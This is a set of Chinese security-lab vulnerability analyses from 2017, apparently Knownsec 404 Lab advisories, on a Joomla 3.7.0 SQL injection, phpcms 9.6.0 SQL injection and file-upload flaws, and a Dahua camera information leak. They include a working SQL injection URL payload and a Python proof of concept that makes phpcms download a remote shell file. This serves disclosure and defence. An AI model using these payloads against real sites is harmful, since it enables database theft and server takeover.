components/com_users/models/registration.php
的register
函数:Author: p0wd3r (知道创宇404安全实验室)
Date: 2017-05-18
Joomla于5月17日发布了新版本3.7.1,(https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html),本次更新中修复一个高危SQL注入漏洞(https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html),成功利用该漏洞后攻击者可以在未授权的情况下进行SQL注入。
未授权状态下SQL注入
影响版本: 3.7.0
Joomla 在 3.7.0 中新增了一个 com_field
组件,其控制器的构造函数如下,在components/com_fields/controller.php
中:
可以看到当访问的view
是fields
,layout
是modal
的时候,程序会从JPATH_ADMINISTRATOR
中加载com_fields
,这就意味着普通用户可以通过这样的请求来使用管理员的com_fields
。
接下来我们看管理员的com_fields
组件,我们来到administrator/components/com_fields/models/fields.php
,其中的getListQuery
的部分代码如下:
程序通过$this->getState
取到list.fullordering
,然后使用$db->escape
处理后传入$query->order
函数,mysqli的escape
函数代码如下:
这里调用mysqli_real_escape_string
来转义字符,该函数具体作用如下:
仅对单双引号等字符进行转义,并未做更多过滤。另外$query->order
函数的作用仅仅是将数据拼接到ORDER BY
语句后,也并未进行过滤,所以如果list.fullordering
可控,那么就可以进行注入。
我们可以看到list.fullordering
是一个state
,state
会在视图的display
函数中进行设置:
跟进这个设置过程,程序会走到libraries/legacy/model/list.php
中的populateState
函数中,具体的调用栈如下:
该函数中有如下一段代码:
1 |
<ol class="linenums"><li class="L0"><code class="lang-php"><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$list </span><span class="pun">=</span><span class="pln"> $app</span><span class="pun">-></span><span class="pln">getUserStateFromRequest</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">context </span><span class="pun">.</span><span class="pln"> </span><span class="str">'.list'</span><span class="pun">,</span><span class="pln"> </span><span class="str">'list'</span><span class="pun">,</span><span class="pln"> array</span><span class="pun">(),</span><span class="pln"> </span><span class="str">'array'</span><span class="pun">))</span></code></li><li class="L1"><code class="lang-php"><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">foreach</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$list </span><span class="kwd">as</span><span class="pln"> $name </span><span class="pun">=></span><span class="pln"> $value</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="com">// Exclude if blacklisted</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">in_array</span><span class="pun">(</span><span class="pln">$name</span><span class="pun">,</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">listBlacklist</span><span class="pun">))</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code class="lang-php"></code></li><li class="L8"><code class="lang-php"><span class="pln"> </span><span class="pun">...</span></code></li><li class="L9"><code class="lang-php"></code></li><li class="L0"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">setState</span><span class="pun">(</span><span class="str">'list.'</span><span class="pln"> </span><span class="pun">.</span><span class="pln"> $name</span><span class="pun">,</span><span class="pln"> $value</span><span class="pun">);</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code class="lang-php"><span class="pun">}</span></code></li></ol> |
程序通过$app->getUserStateFromRequest
取到一个$list
数组 ,如果数组的key不在黑名单中,则遍历该数组对相应state
进行注册,getUserStateFromRequest
的代码如下:
结合前面的调用来看,我们可以通过请求中的参数list
来设置$list
变量,因此我们访问http://ip/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0)
并开启动态调试动态调试,结果如下:
可以看到list.fullordering
已经被我们控制。
回到getListQuery
,该函数会在视图加载时被自动调用,具体函数调用栈如下:
所以我们的payload也就通过getState
传入了这个函数,最终导致SQL注入:
改为取list.ordering
和list.direction
作为查询的参数,这两个参数在populateState
函数中做了如下处理:
如果值不在指定范围内则将其更改为默认值,因此无法再将payload带入。
https://www.seebug.org/vuldb/ssvid-93113
https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html
Author: p0wd3r (知道创宇404安全实验室)
Date: 2017-04-13
昨天 phpcms 发布了 9.6.1 版本,这次补丁中修复了两个安全漏洞(任意文件上传和SQL注入), 相比于任意文件上传,这个 SQL 注入虽然没那么简单粗暴,但攻击思路还是值得我们学习。
SQL 注入
版本:9.6.0
首先我们看phpcms/modules/attachment/attachments.php
中的swfupload_json
函数:
这里用safe_repalce
过滤输入,跟进这个函数:
函数将敏感字符替换为空,但问题是只执行一次,所以当输入是%*27
时*
被过滤,进而可以得到%27
。
回到swfupload_json
中,safe_replace
处理后,程序使用json_encode
+ set_cookie
生成加密的 Cookie。也就是说利用swfupload_json
我们可以构造一个含有%27
等 payload 的加密值。
不过执行swfupload_json
需要一点条件,我们看构造函数:
如果$this->userid
不为空我们才可以继续执行。$this->userid
和 sys_auth($_POST['userid_flash'], 'DECODE')
的值有关,并且程序并没有检查$this->userid
的有效性,所以只要传入的userid_flash
是个合法的加密值就可以通过检测进而使用swfupload_json
了。那么如何获取一个合法加密值呢?
这就来到了phpcms/modules/wap/index.php
中:
在 wap 模块的构造函数中程序根据siteid
生成了一个加密 Cookie,生成的值我们是可以通过响应头获取到的。
至此,我们可以通过以下两个步骤获得一个含有 payload 的加密值:
userid_flash
的值,带上 payload 访问swfupload_json
得到含有 payload 的加密值之后,我们继续找哪里可以用到这个值。 我们看phpcms/modules/content/down.php
:
这里用sys_auth
解密输入的a_k
,然后使用parse_str
(http://php.net/manual/zh/function.parse-str.php )处理a_k
,该函数的作用简单来说就是以&
分隔符,解析并注册变量。通过 IDE 的提示我们可以看到在静态的情况下$id
是未初始化的,所以我们可以通过parse_str
注册$id
进而将可控数据带入查询,另外parse_str
可以进行 URL 解码,所以之前我们得到的%27
也就被解码成了真正可以利用的'
。(parse_str
还可能导致变量覆盖的问题,详见 https://github.com/80vul/pasc2at )
所以整个攻击流程如下:
a_k
的值访问down.php
的init
函数攻击效果如图:
对a_k
进行过滤,并且对id
进行类型转换。
Author: p0wd3r (知道创宇404安全实验室)
Date: 2017-04-12
前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复.
任意文件上传
本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。
首先我们看简化的 PoC :
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="kwd">import</span><span class="pln"> re</span></code></li><li class="L1"><code class="lang-python"><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L2"><code class="lang-python"></code></li><li class="L3"><code class="lang-python"></code></li><li class="L4"><code class="lang-python"><span class="kwd">def</span><span class="pln"> poc</span><span class="pun">(</span><span class="pln">url</span><span class="pun">):</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> u </span><span class="pun">=</span><span class="pln"> </span><span class="str">'{}/index.php?m=member&c=index&a=register&siteid=1'</span><span class="pun">.</span><span class="pln">format</span><span class="pun">(</span><span class="pln">url</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> data </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> </span><span class="str">'siteid'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> </span><span class="str">'modelid'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> </span><span class="str">'username'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'test'</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> </span><span class="str">'password'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'testxx'</span><span class="pun">,</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> </span><span class="str">'email'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'test@test.com'</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> </span><span class="str">'info[content]'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'<img src=http://url/shell.txt?.php#.jpg>'</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> </span><span class="str">'dosubmit'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> rep </span><span class="pun">=</span><span class="pln"> requests</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">u</span><span class="pun">,</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"></code></li><li class="L7"><code class="lang-python"><span class="pln"> shell </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> re_result </span><span class="pun">=</span><span class="pln"> re</span><span class="pun">.</span><span class="pln">findall</span><span class="pun">(</span><span class="pln">r</span><span class="str">'&lt;img src=(.*)&gt'</span><span class="pun">,</span><span class="pln"> rep</span><span class="pun">.</span><span class="pln">content</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> len</span><span class="pun">(</span><span class="pln">re_result</span><span class="pun">):</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> shell </span><span class="pun">=</span><span class="pln"> re_result</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> </span><span class="kwd">print</span><span class="pln"> shell</span></code></li></ol> |
可以看到 PoC 是发起注册请求,对应的是phpcms/modules/member/index.php
中的register
函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:
通过 PoC 不难看出我们的 payload 在$_POST['info']
里,而这里对$_POST['info']
进行了处理,所以我们有必要跟进。
在使用new_html_special_chars
对<>
进行编码之后,进入$member_input->get
函数,该函数位于caches/caches_model/caches_data/member_input.class.php
中,接下来函数走到如下位置:
由于我们的 payload 是info[content]
,所以调用的是editor
函数,同样在这个文件中:
接下来函数执行$this->attachment->download
函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php
中:
1 |
<ol class="linenums"><li class="L0"><code class="lang-php"><span class="kwd">function</span><span class="pln"> download</span><span class="pun">(</span><span class="pln">$field</span><span class="pun">,</span><span class="pln"> $value</span><span class="pun">,</span><span class="pln">$watermark </span><span class="pun">=</span><span class="pln"> </span><span class="str">'0'</span><span class="pun">,</span><span class="pln">$ext </span><span class="pun">=</span><span class="pln"> </span><span class="str">'gif|jpg|jpeg|bmp|png'</span><span class="pun">,</span><span class="pln"> $absurl </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span><span class="pun">,</span><span class="pln"> $basehref </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-php"><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">global</span><span class="pln"> $image_d</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">att_db </span><span class="pun">=</span><span class="pln"> pc_base</span><span class="pun">::</span><span class="pln">load_model</span><span class="pun">(</span><span class="str">'attachment_model'</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> $upload_url </span><span class="pun">=</span><span class="pln"> pc_base</span><span class="pun">::</span><span class="pln">load_config</span><span class="pun">(</span><span class="str">'system'</span><span class="pun">,</span><span class="str">'upload_url'</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">field </span><span class="pun">=</span><span class="pln"> $field</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> $dir </span><span class="pun">=</span><span class="pln"> date</span><span class="pun">(</span><span class="str">'Y/md/'</span><span class="pun">);</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> $uploadpath </span><span class="pun">=</span><span class="pln"> $upload_url</span><span class="pun">.</span><span class="pln">$dir</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $uploaddir </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">upload_root</span><span class="pun">.</span><span class="pln">$dir</span><span class="pun">;</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $string </span><span class="pun">=</span><span class="pln"> new_stripslashes</span><span class="pun">(</span><span class="pln">$value</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(!</span><span class="pln">preg_match_all</span><span class="pun">(</span><span class="str">"/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"</span><span class="pun">,</span><span class="pln"> $string</span><span class="pun">,</span><span class="pln"> $matches</span><span class="pun">))</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $value</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> $remotefileurls </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">foreach</span><span class="pun">(</span><span class="pln">$matches</span><span class="pun">[</span><span class="lit">3</span><span class="pun">]</span><span class="pln"> </span><span class="kwd">as</span><span class="pln"> $matche</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$matche</span><span class="pun">,</span><span class="pln"> </span><span class="str">'://'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> dir_create</span><span class="pun">(</span><span class="pln">$uploaddir</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> $remotefileurls</span><span class="pun">[</span><span class="pln">$matche</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">fillurl</span><span class="pun">(</span><span class="pln">$matche</span><span class="pun">,</span><span class="pln"> $absurl</span><span class="pun">,</span><span class="pln"> $basehref</span><span class="pun">);</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> unset</span><span class="pun">(</span><span class="pln">$matches</span><span class="pun">,</span><span class="pln"> $string</span><span class="pun">);</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $remotefileurls </span><span class="pun">=</span><span class="pln"> array_unique</span><span class="pun">(</span><span class="pln">$remotefileurls</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $oldpath </span><span class="pun">=</span><span class="pln"> $newpath </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> </span><span class="kwd">foreach</span><span class="pun">(</span><span class="pln">$remotefileurls </span><span class="kwd">as</span><span class="pln"> $k</span><span class="pun">=></span><span class="pln">$file</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> </span><span class="str">'://'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">false</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> strpos</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> $upload_url</span><span class="pun">)</span><span class="pln"> </span><span class="pun">!==</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $filename </span><span class="pun">=</span><span class="pln"> fileext</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> $file_name </span><span class="pun">=</span><span class="pln"> basename</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> $filename </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">getname</span><span class="pun">(</span><span class="pln">$filename</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"></code></li><li class="L7"><code class="lang-php"><span class="pln"> $newfile </span><span class="pun">=</span><span class="pln"> $uploaddir</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $upload_func </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">upload_func</span><span class="pun">;</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$upload_func</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> $newfile</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $oldpath</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $k</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> $GLOBALS</span><span class="pun">[</span><span class="str">'downloadfiles'</span><span class="pun">][]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $newpath</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $uploadpath</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="lit">@chmod</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0777</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $fileext </span><span class="pun">=</span><span class="pln"> fileext</span><span class="pun">(</span><span class="pln">$filename</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$watermark</span><span class="pun">){</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> watermark</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">,</span><span class="pln"> $newfile</span><span class="pun">,</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">siteid</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> $filepath </span><span class="pun">=</span><span class="pln"> $dir</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $downloadedfile </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">(</span><span class="str">'filename'</span><span class="pun">=></span><span class="pln">$filename</span><span class="pun">,</span><span class="pln"> </span><span class="str">'filepath'</span><span class="pun">=></span><span class="pln">$filepath</span><span class="pun">,</span><span class="pln"> </span><span class="str">'filesize'</span><span class="pun">=></span><span class="pln">filesize</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">),</span><span class="pln"> </span><span class="str">'fileext'</span><span class="pun">=></span><span class="pln">$fileext</span><span class="pun">);</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $aid </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">add</span><span class="pun">(</span><span class="pln">$downloadedfile</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">downloadedfiles</span><span class="pun">[</span><span class="pln">$aid</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $filepath</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> str_replace</span><span class="pun">(</span><span class="pln">$oldpath</span><span class="pun">,</span><span class="pln"> $newpath</span><span class="pun">,</span><span class="pln"> $value</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pun">}</span></code></li></ol> |
函数中先对$value
中的引号进行了转义,然后使用正则匹配:
1 |
<ol class="linenums"><li class="L0"><code class="lang-php"><span class="pln">$ext </span><span class="pun">=</span><span class="pln"> </span><span class="str">'gif|jpg|jpeg|bmp|png'</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pun">...</span></code></li><li class="L2"><code class="lang-php"><span class="pln">$string </span><span class="pun">=</span><span class="pln"> new_stripslashes</span><span class="pun">(</span><span class="pln">$value</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-php"><span class="kwd">if</span><span class="pun">(!</span><span class="pln">preg_match_all</span><span class="pun">(</span><span class="str">"/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"</span><span class="pun">,</span><span class="pln">$string</span><span class="pun">,</span><span class="pln"> $matches</span><span class="pun">))</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $value</span><span class="pun">;</span></code></li></ol> |
这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png)
,我们的 payload (<img src=http://url/shell.txt?.php#.jpg>
)符合这一格式(这也就是为什么后面要加.jpg
的原因)。
接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
,处理过后$remotefileurls
的内容如下:
可以看到#.jpg
被删除了,正因如此,下面的$filename = fileext($file);
取的的后缀变成了php
,这也就是 PoC 中为什么要加#
的原因:把前面为了满足正则而构造的.jpg
过滤掉,使程序获得我们真正想要的php
文件后缀。
我们继续执行:
程序调用copy
函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了:
shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了register
函数中:
可以看到当$status > 0
时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下:
也就是向v9_member_detail
的content
和userid
两列插入数据,我们看一下该表的结构:
因为表中并没有content
列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们:
上面我们说过返回路径是在$status > 0
时才可以,下面我们来看看什么时候$status <= 0
,在phpcms/modules/member/classes/client.class.php
中:
几个小于0的状态码都是因为用户名和邮箱,所以在 payload 中用户名和邮箱要尽量随机。
另外在 phpsso 没有配置好的时候$status
的值为空,也同样不能得到路径。
在无法得到路径的情况下我们只能爆破了,爆破可以根据文件名生成的方法来爆破:
仅仅是时间加上三位随机数,爆破起来还是相对容易些的。
phpcms 今天发布了9.6.1版本,针对该漏洞的具体补丁如下:
在获取文件扩展名后再对扩展名进行检测
PDF 版报告下载: 国内某厂商摄像头敏感信息泄露事件分析
English Version: Webcam Sensitive Information Disclosure Vulnerability Analysis
Author:知道创宇404实验室
Date:2017/03/21
国内某家监控产品供应商和解决方案服务商旗下有多款监控摄像机以及相关的配套设备。2017年3月5日,知道创宇旗下漏洞平台Seebug[0]上收录了一位名为“bashis”的国外安全研究员发布了一个漏洞公告,声称该厂商科技的多款摄像头存在“backdoor”漏洞[1]。随即在2017年3月6日该厂商官方在发布漏洞公告称(Security-Bulletin_030617)里确认了该漏洞存在并发布了最新的固件里修复了该漏洞。
知道创宇404实验室通过研究分析成功复现了该漏洞,确定该漏洞是一个敏感信息泄露漏洞。攻击者无需任何凭证的情况下访问一个链接即可得到摄像头设备Web管理的用户名和哈希密码等信息泄露:
攻击者通过这个泄露的用户名和哈希密码可直接控制管理该摄像头设备。随后知道创宇404实验室通过”ZoomEye 网络空间搜索引擎”[3]并于3月19日对全网进行探测。3月19日的数据结果显示互联网上仍然有20多万的摄像头设备存在该漏洞,并可能影响到除某厂商品牌外的其他多个品牌摄像头设备。
我们使用ZoomEye提供的默认Dork(搜索条件),可以发现ZoomEye网络空间搜索引擎历史上收集了174.4万某厂商摄像头相关的IP数据[4]。
https://www.zoomeye.org/search?t=host&q=app%3A%22Dahua+Web+Camera+Server%22
针对知道创宇404安全实验室于3月19日通过对ZoomEye网络空间引擎对全球进行探测结果显示距离某厂商官方于3月6日发布升级公告后(13天)全球仍然有20.6万设备存在该信息泄露漏洞。以下是针对风险设备的统计和分析。
由下图可见,风险设备分布在全球178个国家中。在全世界范围内,美国、欧洲、非洲以及南亚地区的风险设备数量较多。而中国区域内,北京、上海、广州、南京和哈尔滨这几个城市风险设备最多。
在实际的探测中,我们发现风险摄像头的Web服务开在了不同的端口,除此以外还有各种其他的端口开放。根据统计,共有248个端口开放在互联网上,下图是数量最多的十个端口。由下图可见,大多数服务还是开放在80端口,但是也有很多安装、运维人员将端口修改到了其他端口,这样的行为在一定程度上是能够增加设备的安全性的。
针对这些存在漏洞的设备尝试进行进一步分析,我们提取了这些设备服务器上的favicon.ico的MD5值校验,总共发现了以下五组MD5值及对应数量:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">bd9e17c46bbbc18af2a2bd718dddad0e </span><span class="lit">197634</span></code></li><li class="L1"><code><span class="pln">b39f249362a2e4ab62be4ddbc9125f53 </span><span class="lit">5885</span><span class="pln"> </span></code></li><li class="L2"><code><span class="pln">bd1b5fef10a0846b2db322b90a57b746 </span><span class="lit">109</span></code></li><li class="L3"><code><span class="pln">d1ef1b4b9ef37b9dabec2db9e338de0f </span><span class="lit">237</span></code></li><li class="L4"><code><span class="pln">a9d07db4284b4bdb144831a9ebb8dfd7 </span><span class="lit">1546</span></code></li></ol> |
注:另有496个设备不存在favicon.ico文件
我们分别选取了5组md5里的部分目标进行实际访问及网页代码分析发现,这五组md5的网页代码都基本相似,在相关的JavaScript脚本代码里都存在“3.0-Web3.0”字符串,主要的区别是在WEB管理登录页面图片不一样。如:
我们注意到“bd9e17c46bbbc18af2a2bd718dddad0e”组的品牌摄像头数据量多达197634,远远超过了其他4组的数据,这些设备的登录页面截图如下:
没有看到明确的“品牌”提示,于是我们通过谷歌得搜索找到如下网页[5]:
https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html 关联到一个叫“imaxcampro”的品牌摄像头。
根据以上分析,我们大胆的推测5组不同的favicon.ico文件md5-hash的品牌的摄像头设备基于某厂商设备修改而来,具体发布如下[6][7][8][9]:
针对排名最多的疑似叫“imaxcampro”的品牌摄像头继续进行了全球地区分布统计:
可以看出这些设备主要分布在美欧及亚洲的韩国印度等海外市场。
由于该漏洞影响较大发布检测工具可能导致漏洞细节的泄露,另漏洞发现者在漏洞公告当天就删除了相关漏洞验证程序,所以这里暂时不提供相关检测程序。对于使用上述品牌摄像头需要检查相关设备安全的单位或组织,请与知道创宇404实验室联系。
针对该漏洞厂商官方在3月6日就发布了相关的漏洞公告、影响设备型号及升级方法 详见[2]:
http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
针对其他影响的品牌目前知道创宇404实验室正在积极联系相关厂商确认并协助修复相关漏洞。
在此次事件根据及分析过程中该漏洞被披露后某厂商公司随即进行了安全应急响应确认了漏洞并发布了相关公告及固件升级,从13天后的全球统计数据及品牌分析标注了dahua的品牌只占有109个,从这个角度来看说明某厂商公司的应急是有显著的效果的,同时也说明基于同一种产品不同品牌的设备影响还非常大。这个案例也反映了一个存在于IoT等设备安全现状:厂商或品牌的合作流程里目前广泛缺少了对应的“安全”流程,这显然已经成为IoT设备安全一个重要的“缺陷”。
[0]. Seebug漏洞平台 https://www.seebug.org
[1]. 0-Day: Dahua backdoor Generation 2 and 3 https://www.seebug.org/vuldb/ssvid-92745
[2]. Dahua Security Bulletin March 6, 2017 http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
[3]. ZoomEye 网络空间搜索引擎 https://www.zoomeye.org/
[4]. ZoomEye 网络空间搜索引擎搜索某厂商相关摄像头设备 https://www.zoomeye.org/search?t=host&q=app%3A”Dahua+Web+Camera+Server”
[5]. Configuring automatic time updating for iMaxCamPro DVRs and NVRs https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html
[6]. CRECREDIT TECH http://crecreditcctv.com/
[7]. Hi-Focus http://hifocuscctv.com/
[8]. Honeywell International Inc. https://www.honeywell.com/
[9]. Worldeyecam, INC https://www.worldeyecam.com/about-us.html
Author :知道创宇404安全实验室
Date:2017年03月19日 (注:本文首发自 paper.seebug.org)
PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
GoAhead作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中,是各种嵌入式设备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。
